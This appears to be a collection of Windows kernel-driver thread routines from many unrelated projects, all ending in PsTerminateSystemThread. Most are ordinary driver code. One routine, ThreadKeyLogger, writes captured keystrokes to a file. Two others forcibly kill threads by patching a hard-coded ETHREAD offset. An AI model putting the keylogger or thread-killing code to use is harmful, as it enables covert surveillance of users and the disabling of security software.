void STDCALL flush_thread(void* context) { DEVICE_OBJECT* devobj = context; device_extension* Vcb = devobj->DeviceExtension; LARGE_INTEGER due_time; ObReferenceObject(devobj); KeInitializeTimer(&Vcb->flush_thread_timer); due_time.QuadPart = -INTERVAL * 10000; KeSetTimer(&Vcb->flush_thread_timer, due_time, NULL); while (TRUE) { KeWaitForSingleObject(&Vcb->flush_thread_timer, Executive, KernelMode, FALSE, NULL); if (!(devobj->Vpb->Flags & VPB_MOUNTED) || Vcb->removing) break; do_flush(Vcb); KeSetTimer(&Vcb->flush_thread_timer, due_time, NULL); } ObDereferenceObject(devobj); KeCancelTimer(&Vcb->flush_thread_timer); KeSetEvent(&Vcb->flush_thread_finished, 0, FALSE); PsTerminateSystemThread(STATUS_SUCCESS); }
VOID ThreadStart(PVOID lpStartContext) { PKEVENT pEvent = (PKEVENT)lpStartContext; DbgPrint("Hello! I am kernel thread. My ID is %u. Regards..", (ULONG)PsGetCurrentThreadId()); KeSetEvent(pEvent, 0, 0); PsTerminateSystemThread(STATUS_SUCCESS); }
u32_t sys_arch_mbox_fetch(sys_mbox_t *mbox, void **msg, u32_t timeout) { LARGE_INTEGER LargeTimeout, PreWaitTime, PostWaitTime; UINT64 TimeDiff; NTSTATUS Status; PVOID Message; PLWIP_MESSAGE_CONTAINER Container; PLIST_ENTRY Entry; KIRQL OldIrql; PVOID WaitObjects[] = {&mbox->Event, &TerminationEvent}; LargeTimeout.QuadPart = Int32x32To64(timeout, -10000); KeQuerySystemTime(&PreWaitTime); Status = KeWaitForMultipleObjects(2, WaitObjects, WaitAny, Executive, KernelMode, FALSE, timeout != 0 ? &LargeTimeout : NULL, NULL); if (Status == STATUS_WAIT_0) { KeAcquireSpinLock(&mbox->Lock, &OldIrql); Entry = RemoveHeadList(&mbox->ListHead); ASSERT(Entry); if (IsListEmpty(&mbox->ListHead)) KeClearEvent(&mbox->Event); KeReleaseSpinLock(&mbox->Lock, OldIrql); Container = CONTAINING_RECORD(Entry, LWIP_MESSAGE_CONTAINER, ListEntry); Message = Container->Message; ExFreePool(Container); if (msg) *msg = Message; KeQuerySystemTime(&PostWaitTime); TimeDiff = PostWaitTime.QuadPart - PreWaitTime.QuadPart; TimeDiff /= 10000; return TimeDiff; } else if (Status == STATUS_WAIT_1) { /* DON'T remove ourselves from the thread list! */ PsTerminateSystemThread(STATUS_SUCCESS); /* We should never get here! */ ASSERT(FALSE); return 0; } return SYS_ARCH_TIMEOUT; }
VOID DokanDeregisterUncProvider(__in PDokanDCB Dcb) { if (Dcb->MupHandle) { FsRtlDeregisterUncProvider(Dcb->MupHandle); Dcb->MupHandle = 0; } PsTerminateSystemThread(STATUS_SUCCESS); }
VOID KphpTestPushLockThreadStart( __in PVOID Context ) { ULONG i, j; for (i = 0; i < 400000; i++) { ExAcquirePushLockShared(&TestLock); for (j = 0; j < 1000; j++) YieldProcessor(); ExReleasePushLock(&TestLock); ExAcquirePushLockExclusive(&TestLock); for (j = 0; j < 9000; j++) YieldProcessor(); ExReleasePushLock(&TestLock); } PsTerminateSystemThread(STATUS_SUCCESS); }
VOID KernelKillThreadRoutine( __in PKAPC Apc, __in __out PKNORMAL_ROUTINE* NormalRoutine, __in __out PVOID* NormalContext, __in __out PVOID* SystemArgument1, __in __out PVOID* SystemArgument2 ) { PULONG ThreadFlags = NULL; UNREFERENCED_PARAMETER(Apc); UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); UNREFERENCED_PARAMETER(SystemArgument1); UNREFERENCED_PARAMETER(SystemArgument2); BDKitFreePool(Apc); //ETHREAD中CrossThreadFlags的偏移量为0x248 ThreadFlags=(PULONG)((ULONG)PsGetCurrentThread()+0x248); if( MmIsAddressValid(ThreadFlags) ) { *ThreadFlags |= PS_CROSS_THREAD_FLAGS_SYSTEM; //(*PspExitThread_XP)(STATUS_SUCCESS);//PspExitThread不可用,需要自己定位 PsTerminateSystemThread (STATUS_SUCCESS); } }
static void xm_thread_func(void *data) { struct xm_thread *me = data; PsTerminateSystemThread(me->cb(me, me->data)); }
VOID ExpShutdownWorker ( IN PVOID Parameter ) { PETHREAD CurrentThread; PSHUTDOWN_WORK_ITEM ShutdownItem; ShutdownItem = (PSHUTDOWN_WORK_ITEM) Parameter; ASSERT (ShutdownItem != NULL); if (ShutdownItem->PrevThread != NULL) { // // Wait for the previous thread to exit -- if it's in the same // queue, it probably has already, but we need to make sure // (and if it's not, we *definitely* need to make sure). // KeWaitForSingleObject (ShutdownItem->PrevThread, Executive, KernelMode, FALSE, NULL); ObDereferenceObject (ShutdownItem->PrevThread); ShutdownItem->PrevThread = NULL; } // // Decrement the worker count. // InterlockedDecrement (&ExWorkerQueue[ShutdownItem->QueueType].Info.QueueWorkerInfo); CurrentThread = PsGetCurrentThread(); if ((!ExpCheckQueueShutdown(DelayedWorkQueue, ShutdownItem)) && (!ExpCheckQueueShutdown(CriticalWorkQueue, ShutdownItem))) { // // We're the last worker to exit // ASSERT (!ExpLastWorkerThread); ExpLastWorkerThread = CurrentThread; ObReferenceObject (ExpLastWorkerThread); KeSetEvent (&ExpThreadSetManagerShutdownEvent, 0, FALSE); } KeSetKernelStackSwapEnable (TRUE); CurrentThread->ActiveExWorker = 0; PsTerminateSystemThread (STATUS_SYSTEM_SHUTDOWN); }
static void DDKAPI timer_thread(LPVOID arg) { while (1) { KeWaitForMultipleObjects(2, timer_wait_objs, WaitAny, Executive, KernelMode, FALSE, NULL, NULL); if (timer_done) break; lkl_trigger_irq(TIMER_IRQ); } PsTerminateSystemThread(STATUS_SUCCESS); }
//中断请求等级为 passive VOID ThreadKeyLogger(IN PVOID pContext) { PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext; PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice; PLIST_ENTRY pListEntry; KEY_DATA* kData; //主循环体,得到键值 while(true) { // 等待可用数据进入队列 KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL); pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead, &pKeyboardDeviceExtension->lockQueue); if(pKeyboardDeviceExtension->bThreadTerminate == true) { PsTerminateSystemThread(STATUS_SUCCESS); } kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); //转换扫描到的值 char keys[3] = {0}; ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); //判断键值是否写入文件 if(keys != 0) { // 将数据写入文件 if(pKeyboardDeviceExtension->hLogFile != NULL) //判断文件是否有效 { IO_STATUS_BLOCK io_status; DbgPrint("Writing scan code to file...\n"); NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL, &io_status,&keys,strlen(keys),NULL,NULL); if(status != STATUS_SUCCESS) DbgPrint("Writing scan code to file...\n"); else DbgPrint("Scan code '%s' successfully written to file.\n",keys); } } } return; }//ThreadLogKeyboard
VOID DokanRegisterUncProvider( __in PDokanDCB Dcb) { NTSTATUS status; status = FsRtlRegisterUncProvider(&(Dcb->MupHandle), Dcb->FileSystemDeviceName, FALSE); if (NT_SUCCESS(status)) { DDbgPrint(" FsRtlRegisterUncProvider success\n"); } else { DDbgPrint(" FsRtlRegisterUncProvider failed: 0x%x\n", status); Dcb->MupHandle = 0; } PsTerminateSystemThread(STATUS_SUCCESS); }
VOID RecoveryThread(PVOID Arg) { PIO_STACK_LOCATION stack; IO_STATUS_BLOCK IoStatus; KEVENT Event; PIRP Irp; NTSTATUS status; PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)Arg; while(1) { // the main part of the driver will signal us when we need to fix things KeWaitForSingleObject(&pdx->RecoveryEvent, Executive, KernelMode, FALSE, NULL); if(pdx->RecoveryExit) break; KeInitializeEvent(&Event, SynchronizationEvent, FALSE); // reset our device Irp = IoBuildDeviceIoControlRequest( IOCTL_INTERNAL_USB_RESET_PORT, pdx->LowerDeviceObject, NULL, 0, NULL, 0, TRUE, &Event, &IoStatus ); stack = IoGetNextIrpStackLocation(Irp); status = IoCallDriver(pdx->LowerDeviceObject, Irp); if(STATUS_PENDING == status) { KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL); status = IoStatus.Status; } // start polling again StartPolling(pdx); } PsTerminateSystemThread(STATUS_SUCCESS); }
static void unmount_thread_proc(mount_ctx *mnt) { dev_hook *hook = mnt->hook; dc_process_unmount(hook, MF_NOFSCTL); hook->dsk_size = 0; hook->use_size = 0; hook->mnt_probed = 0; hook->mnt_probe_cnt = 0; dc_deref_hook(hook); mm_pool_free(mnt); PsTerminateSystemThread(STATUS_SUCCESS); }
void FTTimeout(PVOID args) { struct timeout_func *to_func = (struct timeout_func *) args; LARGE_INTEGER time; NTSTATUS st; time.QuadPart = -(to_func->time/100); KeSetTimer(&to_func->Timer, time, NULL); st = KeWaitForSingleObject(&to_func->Timer, Executive, KernelMode, FALSE, NULL); (void) (to_func->f)(NULL); ObDereferenceObject(to_func->Thread); ExFreePoolWithTag(to_func, 'Tag1'); PsTerminateSystemThread(0); }
VOID ThreadFunction( IN PVOID Argument ) { PXENIFACE_THREAD Self = Argument; NTSTATUS status; status = Self->Function(Self, Self->Context); if (InterlockedDecrement(&Self->References) == 0) __ThreadFree(Self); PsTerminateSystemThread(status); // NOT REACHED }
static VOID CompletionThreadProc (PVOID threadArg) { EncryptedIoQueue *queue = (EncryptedIoQueue *) threadArg; PLIST_ENTRY listEntry; EncryptedIoRequest *request; UINT64_STRUCT dataUnit; if (IsEncryptionThreadPoolRunning()) KeSetPriorityThread (KeGetCurrentThread(), LOW_REALTIME_PRIORITY); while (!queue->ThreadExitRequested) { if (!NT_SUCCESS (KeWaitForSingleObject (&queue->CompletionThreadQueueNotEmptyEvent, Executive, KernelMode, FALSE, NULL))) continue; if (queue->ThreadExitRequested) break; while ((listEntry = ExInterlockedRemoveHeadList (&queue->CompletionThreadQueue, &queue->CompletionThreadQueueLock))) { request = CONTAINING_RECORD (listEntry, EncryptedIoRequest, CompletionListEntry); if (request->EncryptedLength > 0 && NT_SUCCESS (request->Item->Status)) { ASSERT (request->EncryptedOffset + request->EncryptedLength <= request->Offset.QuadPart + request->Length); dataUnit.Value = (request->Offset.QuadPart + request->EncryptedOffset) / ENCRYPTION_DATA_UNIT_SIZE; if (queue->CryptoInfo->bPartitionInInactiveSysEncScope) dataUnit.Value += queue->CryptoInfo->FirstDataUnitNo.Value; else if (queue->RemapEncryptedArea) dataUnit.Value += queue->RemappedAreaDataUnitOffset; DecryptDataUnits (request->Data + request->EncryptedOffset, &dataUnit, request->EncryptedLength / ENCRYPTION_DATA_UNIT_SIZE, queue->CryptoInfo); } if (request->CompleteOriginalIrp) { CompleteOriginalIrp (request->Item, request->Item->Status, NT_SUCCESS (request->Item->Status) ? request->Item->OriginalLength : 0); } ReleasePoolBuffer (queue, request); } } PsTerminateSystemThread (STATUS_SUCCESS); }
VOID DokanTimeoutThread( PDokanDCB Dcb) /*++ Routine Description: checks wheter pending IRP is timeout or not each DOKAN_CHECK_INTERVAL --*/ { NTSTATUS status; KTIMER timer; PVOID pollevents[2]; LARGE_INTEGER timeout = {0}; BOOLEAN waitObj = TRUE; DDbgPrint("==> DokanTimeoutThread\n"); KeInitializeTimerEx(&timer, SynchronizationTimer); pollevents[0] = (PVOID)&Dcb->KillEvent; pollevents[1] = (PVOID)&timer; KeSetTimerEx(&timer, timeout, DOKAN_CHECK_INTERVAL, NULL); while (waitObj) { status = KeWaitForMultipleObjects(2, pollevents, WaitAny, Executive, KernelMode, FALSE, NULL, NULL); if (!NT_SUCCESS(status) || status == STATUS_WAIT_0) { DDbgPrint(" DokanTimeoutThread catched KillEvent\n"); // KillEvent or something error is occured waitObj = FALSE; } else { ReleaseTimeoutPendingIrp(Dcb); if (Dcb->UseKeepAlive) DokanCheckKeepAlive(Dcb); } } KeCancelTimer(&timer); DDbgPrint("<== DokanTimeoutThread\n"); PsTerminateSystemThread(STATUS_SUCCESS); }
/* ExtractThread */ VOID ExtractThread( IN PVOID pContext ) { // Local variables PDEVICE_EXTENSION pKeyboardDeviceExtension; PDEVICE_OBJECT pKeyboardDeviceObject; PLIST_ENTRY pEntry; KEY_DATA *pKeyData; // Retrieve pointer to device extension and device object pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext; pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice; // Enter main thread loop while(true) { // Wait for KEY_DATA struct to become available in queue KeWaitForSingleObject(&((pKeyboardDeviceExtension->bufferQueue).semQueue), Executive, KernelMode, FALSE, NULL ); // Pop off the first entry and save it for the time being pEntry = ExInterlockedRemoveHeadList(&((pKeyboardDeviceExtension->bufferQueue).QueueListHead), &((pKeyboardDeviceExtension->bufferQueue).lockQueue)); // Check to see if the thread isn't set to terminate if(pKeyboardDeviceExtension->bExtractTerminate == true) PsTerminateSystemThread(STATUS_SUCCESS); // Retrieve the KEY_DATA struct associated with the list entry pKeyData = CONTAINING_RECORD(pEntry, KEY_DATA, ListEntry); // TODO: need to ensure that data was properly set? // Send data off to comparison component enqueueData(pKeyData->Data, 'b'); } return; } // end ExtractThread
VOID BalloonRoutine( IN PVOID pContext ) { WDFOBJECT Device = (WDFOBJECT)pContext; PDEVICE_CONTEXT devCtx = GetDeviceContext(Device); NTSTATUS status = STATUS_SUCCESS; LARGE_INTEGER Timeout = {0}; LONGLONG diff; TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "Balloon thread started....\n"); while(TRUE) { Timeout.QuadPart = Int32x32To64(10000, -10000); status = KeWaitForSingleObject(&devCtx->WakeUpThread, Executive, KernelMode, FALSE, &Timeout); if(STATUS_WAIT_0 == status) { if(devCtx->bShutDown) { TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "Exiting Thread!\n"); break; } else { diff = BalloonGetSize(Device); if (diff > 0) { BalloonFill(Device, (size_t)(diff)); } else if (diff < 0) { BalloonLeak(Device, (size_t)(-diff)); } BalloonSetSize(Device, devCtx->num_pages); } } } TraceEvents(TRACE_LEVEL_INFORMATION, DBG_PNP, "Thread about to exit...\n"); PsTerminateSystemThread(STATUS_SUCCESS); }
static VOID NTAPI ClientThread(PWSK_SOCKET Socket) { UCHAR Buffer[256] = {0}; LONG BufferSize = 0; CHAR GreetMessage[] = "Hello there\r\n"; if (Send(Socket, GreetMessage, sizeof(GreetMessage)-1, 0) == sizeof(GreetMessage)-1) { while (( BufferSize = Receive(Socket, Buffer, sizeof(Buffer), 0)) > 0) { Send(Socket, Buffer, BufferSize, 0); } } CloseSocket(Socket); InterlockedDecrement(&g_ClientsCount); PsTerminateSystemThread(STATUS_SUCCESS); }
VOID ReadonlyDismountVolumeThreadProc ( IN PREADONLY Readonly ) { SPY_LOG_PRINT( LFS_DEBUG_READONLY_TRACE, ("ReadonlyDismountVolumeThreadProc: Start Readonly = %p\n", Readonly) ); Readonly_Reference( Readonly ); KeSetEvent( &Readonly->DiskmountReadyEvent, IO_DISK_INCREMENT, FALSE ); ReadonlyDismountVolume( Readonly->LfsDeviceExt ); Readonly->DismountThreadHandle = NULL; Readonly_Dereference( Readonly ); PsTerminateSystemThread( STATUS_SUCCESS ); }
VOID NTAPI LwipThreadMain(PVOID Context) { thread_t Container = (thread_t)Context; KIRQL OldIrql; ExInterlockedInsertHeadList(&ThreadListHead, &Container->ListEntry, &ThreadListLock); Container->ThreadFunction(Container->ThreadContext); KeAcquireSpinLock(&ThreadListLock, &OldIrql); RemoveEntryList(&Container->ListEntry); KeReleaseSpinLock(&ThreadListLock, OldIrql); ExFreePool(Container); PsTerminateSystemThread(STATUS_SUCCESS); }
u32_t sys_arch_sem_wait(sys_sem_t* sem, u32_t timeout) { LARGE_INTEGER LargeTimeout, PreWaitTime, PostWaitTime; UINT64 TimeDiff; NTSTATUS Status; PVOID WaitObjects[] = {&sem->Event, &TerminationEvent}; LargeTimeout.QuadPart = Int32x32To64(timeout, -10000); KeQuerySystemTime(&PreWaitTime); Status = KeWaitForMultipleObjects(2, WaitObjects, WaitAny, Executive, KernelMode, FALSE, timeout != 0 ? &LargeTimeout : NULL, NULL); if (Status == STATUS_WAIT_0) { KeQuerySystemTime(&PostWaitTime); TimeDiff = PostWaitTime.QuadPart - PreWaitTime.QuadPart; TimeDiff /= 10000; return TimeDiff; } else if (Status == STATUS_WAIT_1) { /* DON'T remove ourselves from the thread list! */ PsTerminateSystemThread(STATUS_SUCCESS); /* We should never get here! */ ASSERT(FALSE); return 0; } return SYS_ARCH_TIMEOUT; }
EXTERN_C static VOID LogpBufferFlushThreadRoutine(_In_ void *StartContext) { PAGED_CODE(); auto status = STATUS_SUCCESS; auto info = reinterpret_cast<LogBufferInfo *>(StartContext); LOG_DEBUG("Log thread started."); NT_ASSERT(LogpIsLogFileEnabled(*info)); while (info->BufferFlushThreadShouldBeAlive) { LogpSleep(LOGP_AUTO_FLUSH_INTERVAL_MSEC); if (info->LogBufferHead[0]) { NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); NT_ASSERT(!KeAreAllApcsDisabled()); status = LogpWriteLogBufferToFile(info); // Do not flush the file for overall performance. Even a case of // bug check, we should be able to recover logs by looking at both // log buffers. } } LOG_DEBUG("Log thread is ending."); PsTerminateSystemThread(status); }
void STDCALL flush_thread(void* context) { device_extension* Vcb = context; LARGE_INTEGER due_time; KeInitializeTimer(&Vcb->flush_thread_timer); due_time.QuadPart = -INTERVAL * 10000; KeSetTimer(&Vcb->flush_thread_timer, due_time, NULL); while (TRUE) { KeWaitForSingleObject(&Vcb->flush_thread_timer, Executive, KernelMode, FALSE, NULL); do_flush(Vcb); KeSetTimer(&Vcb->flush_thread_timer, due_time, NULL); } KeCancelTimer(&Vcb->flush_thread_timer); PsTerminateSystemThread(STATUS_SUCCESS); }
static void dc_worker_thread(void *param) { SLIST_ENTRY *entry; req_part *part; req_item *item; const char *in; char *out; u64 offset; u32 length; do { KeWaitForSingleObject(&pool_signal_event, Executive, KernelMode, FALSE, NULL); KeClearEvent(&pool_signal_event); while (entry = ExInterlockedPopEntrySList(&pool_head, &pool_lock)) { part = CONTAINING_RECORD(entry, req_part, entry); item = part->item; in = item->in + part->offset; out = item->out + part->offset; offset = item->offset + part->offset; length = part->length; if (item->is_encrypt != 0) { xts_encrypt(in, out, length, offset, item->key); } else { xts_decrypt(in, out, length, offset, item->key); } if (lock_xchg_add(&item->length, 0-length) == length) { item->on_complete(item->param1, item->param2); ExFreeToNPagedLookasideList(&pool_req_mem, item); } } } while (pool_enabled != 0); PsTerminateSystemThread(STATUS_SUCCESS); }
void KernelTerminateThreadRoutine( IN PKAPC Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2) { ULONG ThreadFlagsOffset = GetThreadFlagsOffset(); PULONG ThreadFlags; DbgPrint("[TerminateThread] KernelTerminateThreadRoutine.\n"); ExFreePool(Apc); if (ThreadFlagsOffset) { ThreadFlags = (ULONG *)((ULONG)(PsGetCurrentThread()) + ThreadFlagsOffset); *ThreadFlags |= PS_CROSS_THREAD_FLAGS_SYSTEM; PsTerminateSystemThread(STATUS_SUCCESS); } else { DbgPrint("cannot get thread flags offset!\n"); } }
static VOID NTAPI ScanWindowsThread(PVOID Param) { LARGE_INTEGER Interval; Interval.QuadPart=RELATIVE(MILLISECONDS(10)); while (STATUS_TIMEOUT==KeWaitForSingleObject( &g_ShutdownEvent, Executive, KernelMode, FALSE, &Interval)) { PrintData(); } DbgPrint("ScanWindowsThread(): Shutting down\n"); PsTerminateSystemThread(STATUS_SUCCESS); }
/**************************************************************************** REMARKS: Main driver thread for executing all registered heartbeat callbacks. Win2K/XP does not allow waiting for semaphores inside DPCs, so instead the DPC must signal a timeout event to wake up a driver helper thread. ****************************************************************************/ VOID _PM_heartBeatThread( PVOID pContext) { int i; _PM_heartBeat_t *hb = (_PM_heartBeat_t*)pContext; while (hb->bThreadRunning) { // Yield thread until DPC timer signalled state KeWaitForSingleObject(&_PM_hb->kTimerEvent,Executive,KernelMode,FALSE,NULL); // Lock the SNAP subsystem and process all the registered callbacks PM_lockSNAPAccess(-1,true); for (i = 0; i < hb->numHeartBeatCallbacks; i++) (*hb->heartBeat[i])(hb->heartBeatData[i]); PM_unlockSNAPAccess(-1); // Reset signal for next DPC timeout KeResetEvent(&_PM_hb->kTimerEvent); } // Exit driver thread PsTerminateSystemThread(STATUS_SUCCESS); }
// A thread runs as long as info.buffer_flush_thread_should_be_alive is true and // flushes a log buffer to a log file every kLogpLogFlushIntervalMsec msec. _Use_decl_annotations_ static VOID LogpBufferFlushThreadRoutine( void *start_context) { PAGED_CODE(); auto status = STATUS_SUCCESS; auto info = reinterpret_cast<LogBufferInfo *>(start_context); info->buffer_flush_thread_started = true; HYPERPLATFORM_LOG_DEBUG("Log thread started (TID= %p).", PsGetCurrentThreadId()); while (info->buffer_flush_thread_should_be_alive) { NT_ASSERT(LogpIsLogFileActivated(*info)); if (info->log_buffer_head[0]) { NT_ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); NT_ASSERT(!KeAreAllApcsDisabled()); status = LogpFlushLogBuffer(info); // Do not flush the file for overall performance. Even a case of // bug check, we should be able to recover logs by looking at both // log buffers. } LogpSleep(kLogpLogFlushIntervalMsec); } PsTerminateSystemThread(status); }